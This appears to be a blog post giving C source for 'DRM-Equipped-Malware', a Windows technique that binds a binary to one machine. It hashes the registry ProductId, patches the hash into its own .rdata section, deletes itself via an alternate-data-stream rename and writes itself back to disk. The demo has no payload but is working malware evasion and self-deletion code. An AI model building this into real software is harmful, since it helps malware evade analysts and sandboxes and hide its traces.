DRM-Equipped-Malware
DRM-Equipped-Malware
DRM-Equipped-Malware
drm.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
/*
- Digital Rights Management, the malware will modify itself to ensure that is exclusively executes on the target machine.
- DRM Logic:
1. The malware runs for the first time on any machine
2. The malware reads ProductId regsitry keys and calculate hash
3. The malware reads its local binary and stores it into memory
4. The malware self deletes from disk
5. The malware inserts ProductId hash value
5. The malware is written on disk
6. The malware will read same registry key and compare hash value, if match it will execute
*/
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include "Structs.h"
#pragma warning(disable: 4703)
#define SUB_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
#define KEY_VALUE L"ProductId"
#define DEFAULT_HASH 0xAABBEEF
CONST DWORD gdw_MachineID = DEFAULT_HASH; // The machine hash
DWORD HashStringDjb2W(IN LPCWSTR String) {
ULONG Hash = 5381;
INT c = 0;
while (c = *String++)
Hash = ((Hash << 5) + Hash) + c;
return Hash;
}
/*
Read ProductId (unique identifier of target system), this case we will target our own dev machine
ppAddrToRead -> Returns registry key value (productId)
pdwBytesToRead -> Returns registry key size (bytes)
*/
BOOL RegReadProductId(_Out_ PVOID* ppAddrToRead, _Out_ PDWORD pdwBytesToRead) {
PVOID pBuffer = NULL;
DWORD dwBytesToRead = 0x00;
LSTATUS STATUS = ERROR_SUCCESS;
// Check parameters aren't empty
if (!ppAddrToRead || !pdwBytesToRead)
return FALSE;
// Initialize output parameters
*ppAddrToRead = NULL;
*pdwBytesToRead = 0;
// Query the size of the ProductId registry value
if ((STATUS = RegGetValueW(HKEY_LOCAL_MACHINE, SUB_KEY, KEY_VALUE, RRF_RT_ANY, NULL, NULL, &dwBytesToRead)) != ERROR_SUCCESS) {
printf("[!] RegGetValueW Failed: %d \n", STATUS);
goto _CleanUp;
}
// Allocate a buffer large enough to hold the registry value
pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesToRead);
if (!pBuffer) {
printf("[!] HeapAlloc Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Read the ProductId value into the allocated buffer
if ((STATUS = RegGetValueW(HKEY_LOCAL_MACHINE, SUB_KEY, KEY_VALUE, RRF_RT_ANY, NULL, pBuffer, &dwBytesToRead)) != ERROR_SUCCESS) {
printf("[!] RegGetValueW[2] Failed: %d \n", STATUS);
goto _CleanUp;
}
// Return the allocated buffer and its size
*pdwBytesToRead = dwBytesToRead;
*ppAddrToRead = pBuffer;
_CleanUp:
if (pBuffer && !*ppAddrToRead)
HeapFree(GetProcessHeap(), 0, pBuffer);
return *ppAddrToRead == NULL ? FALSE : TRUE;
}
/*
Reading binary from disk
szLocalBinaryName -> Hold the binary name to be loaded
pBinaryData -> Hold binary parameters
pdwBinarySize -> Hold the size of the binary (in bytes)
*/
BOOL ReadSelfDisk(_In_ LPWSTR szLocalBinaryName, _Out_ ULONG_PTR* pBinaryData, _Out_ DWORD* pdwBinarySize) {
HANDLE hFile = INVALID_HANDLE_VALUE;
PBYTE pBinaryBuffer = NULL;
DWORD dwBinSize = 0x00;
DWORD dwNumBytesRead = 0x00;
// Check if parameters are filled
if (!szLocalBinaryName || !pBinaryData || !pdwBinarySize)
return FALSE;
// Creating File
hFile = CreateFileW(szLocalBinaryName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Determine filesize
dwBinSize = GetFileSize(hFile, NULL);
if (dwBinSize == INVALID_FILE_SIZE) {
printf("[!] GetFileSize Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Allocating memory for the binary to be read
pBinaryBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBinSize);
if (!pBinaryBuffer) {
printf("[!] HeapAlloc Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Reading binary from disk
if (!ReadFile(hFile, pBinaryBuffer, dwBinSize, &dwNumBytesRead, NULL) || dwBinSize != dwNumBytesRead) {
printf("[!] ReadFile Failed: %d \n", GetLastError());
goto _CleanUp;
}
*pBinaryData = (ULONG_PTR)pBinaryBuffer;
*pdwBinarySize = dwBinSize;
_CleanUp:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
if (!*pBinaryData && pBinaryBuffer)
HeapFree(GetProcessHeap(), 0, pBinaryBuffer);
return *pBinaryData == NULL ? FALSE : TRUE;
}
#define NEW_STREAM L":%x%x\x00"
/*
Ensures that the file will be deleting itself via ADS (Alternate Data Stream)
szFilePath -> Filepath to be deleted
*/
BOOL SelfDeletion(_In_ LPCWSTR szFilePath) {
BOOL bState = FALSE;
HANDLE hFile = INVALID_HANDLE_VALUE;
// Mark the file for deletion using POSIX semantics — bypasses image-section lock on running executables
FILE_DISPOSITION_INFO_EX DispoInfoEx = { .Flags = FILE_DISPOSITION_FLAG_DELETE | FILE_DISPOSITION_FLAG_POSIX_SEMANTICS };
// Prepare rename structure for Alternate Data Stream (ADS)
FILE_RENAME_INFO2 RenameInfo = { .ReplaceIfExists = FALSE, .RootDirectory = NULL };
if (!szFilePath)
return FALSE;
// Give the file a random ADS name → filename.exe:<random numbers>
swprintf(RenameInfo.FileName, MAX_PATH, NEW_STREAM, rand(), rand());
RenameInfo.FileNameLength = (DWORD)(wcslen(RenameInfo.FileName) * sizeof(WCHAR));
// Open the file with DELETE access so we can rename it
hFile = CreateFileW(szFilePath, DELETE | SYNCHRONIZE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [Rename] Failed: %d\n", GetLastError());
goto _CleanUp;
}
// Rename the file to an Alternate Data Stream
if (!SetFileInformationByHandle(hFile, FileRenameInfo, &RenameInfo, FIELD_OFFSET(FILE_RENAME_INFO2, FileName) + RenameInfo.FileNameLength)) {
printf("[!] SetFileInformationByHandle [Rename] Failed: %d\n", GetLastError());
goto _CleanUp;
}
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
// Re-open the (now renamed) file so we can mark it for deletion
hFile = CreateFileW(szFilePath, DELETE | SYNCHRONIZE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [Deleting] Failed: %d\n", GetLastError());
goto _CleanUp;
}
// Mark the file for deletion on close
if (!SetFileInformationByHandle(hFile, FileDispositionInfoEx, &DispoInfoEx, sizeof(DispoInfoEx))) {
printf("[!] SetFileInformationByHandle [Delete] Failed: %d\n", GetLastError());
goto _CleanUp;
}
bState = TRUE;
_CleanUp:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return bState;
}
/*
Write itself to disk
szBinaryName -> Hold the filename
pBinaryData -> Hold its data for the binary
sBinarySize -> Hold the size of the binary (in bytes)
*/
BOOL WriteSelfDisk(_In_ LPWSTR szBinaryName, _In_ PVOID pBinaryData, _In_ DWORD sBinarySize) {
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwNumBytesWritten = 0x00;
// Checks if parameters are filled
if (!szBinaryName || !pBinaryData || !sBinarySize)
return FALSE;
// Create handle with write ability
hFile = CreateFileW(szBinaryName, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Write file
if (!WriteFile(hFile, pBinaryData, sBinarySize, &dwNumBytesWritten, NULL) || sBinarySize != dwNumBytesWritten) {
printf("[!] WriteFile Failed: %d \n", GetLastError());
goto _CleanUp;
}
_CleanUp:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return dwNumBytesWritten == sBinarySize ? TRUE : FALSE;
}
/*
We create a hash for the current machine and save it under gdw_MachineID
*/
BOOL InitDrm() {
// Don't run if hash is not the same (different machine)
if (gdw_MachineID != DEFAULT_HASH)
return TRUE;
BOOL bState = TRUE;
LPWSTR szLocalImage = NULL;
ULONG_PTR uModule = NULL;
DWORD dwFileSize = 0x00;
PIMAGE_NT_HEADERS pImgNtHdr = NULL;
PIMAGE_SECTION_HEADER pImgSec = NULL;
DWORD dwOffsetOfMachineBuf = 0x00;
PDWORD pRdataSec = NULL;
LPWSTR szProductId = NULL;
DWORD dwNumberOfBytesRead = 0x00;
// Get full path of the currently running executable from the PEB
szLocalImage = (LPWSTR)(((PPEB)__readgsqword(0x60))->ProcessParameters->ImagePathName.Buffer);
// Read the entire binary from disk into memory
if (!ReadSelfDisk(szLocalImage, &uModule, &dwFileSize))
goto _CleanUp;
// Get NT headers
pImgNtHdr = (PIMAGE_NT_HEADERS)(uModule + ((PIMAGE_DOS_HEADER)uModule)->e_lfanew);
if (pImgNtHdr->Signature != IMAGE_NT_SIGNATURE)
goto _CleanUp;
// Get first section header
pImgSec = IMAGE_FIRST_SECTION(pImgNtHdr);
// Loop through all sections looking for .rdata (where gdw_MachineID lives)
for (DWORD i = 0; i < pImgNtHdr->FileHeader.NumberOfSections; i++, pImgSec++) {
if (strcmp(".rdata", (char*)pImgSec->Name) == 0) {
// Get start of the .rdata section in the memory buffer
pRdataSec = (PDWORD)(uModule + pImgSec->PointerToRawData);
// Scan every DWORD inside the section to find our default hash
for (SIZE_T s = 0; s < pImgSec->SizeOfRawData; s += sizeof(DWORD)) {
if (*(DWORD*)((PBYTE)pRdataSec + s) == gdw_MachineID) {
// Save the offset of the hash inside .rdata
dwOffsetOfMachineBuf = (DWORD)s;
break;
}
}
}
}
// When the default MachineID was found in the image
if (dwOffsetOfMachineBuf != 0x00) {
// Read ProductId from the registry
if (!RegReadProductId(&szProductId, &dwNumberOfBytesRead))
goto _CleanUp;
// Calculate hash of ProductId and overwrite the default value in memory
*(DWORD*)((PBYTE)pRdataSec + dwOffsetOfMachineBuf) = HashStringDjb2W(szProductId);
// Delete the original file from disk
if (!SelfDeletion(szLocalImage))
goto _CleanUp;
// Write the modified binary (with real machine hash) back to disk
if (!WriteSelfDisk(szLocalImage, (PVOID)uModule, dwFileSize))
goto _CleanUp;
bState = TRUE;
}
_CleanUp:
if (uModule != NULL)
HeapFree(GetProcessHeap(), 0, (PVOID)uModule);
if (szProductId != NULL)
HeapFree(GetProcessHeap(), 0, szProductId);
return bState;
}
/*
This will compare the current machine hash with the stored gdw_MachineID
*/
BOOL CompareHashes() {
BOOL bState = FALSE;
LPWSTR szProductId = NULL;
DWORD dwNumOfBytesRead = 0x00;
// Still the default hash → not yet bound to a machine, allow execution
if (gdw_MachineID == DEFAULT_HASH)
return TRUE;
// Read ProductId from registry
if (!RegReadProductId(&szProductId, &dwNumOfBytesRead))
goto _CleanUp;
// Calculate hash of ProductId and compare with stored machine hash
if (HashStringDjb2W(szProductId) == gdw_MachineID)
bState = TRUE; // hashes match → allow execution
_CleanUp:
if (szProductId != NULL)
HeapFree(GetProcessHeap(), 0, szProductId);
return bState;
}
int main() {
printf("[+] Saved MachineId: 0x%0.8X \n", gdw_MachineID);
if (gdw_MachineID == DEFAULT_HASH) {
printf("[+] First time running... Init DRM Protection! \n");
if (!InitDrm())
return -1;
}
else {
printf("[+] System has seen before! \n");
if (CompareHashes())
printf("[+] Found Same machine ID! \n");
else {
printf("[+] Found Different Machine ID! \n");
return -1;
}
}
return 0;
}
This post is licensed under
CC BY 4.0
by the author.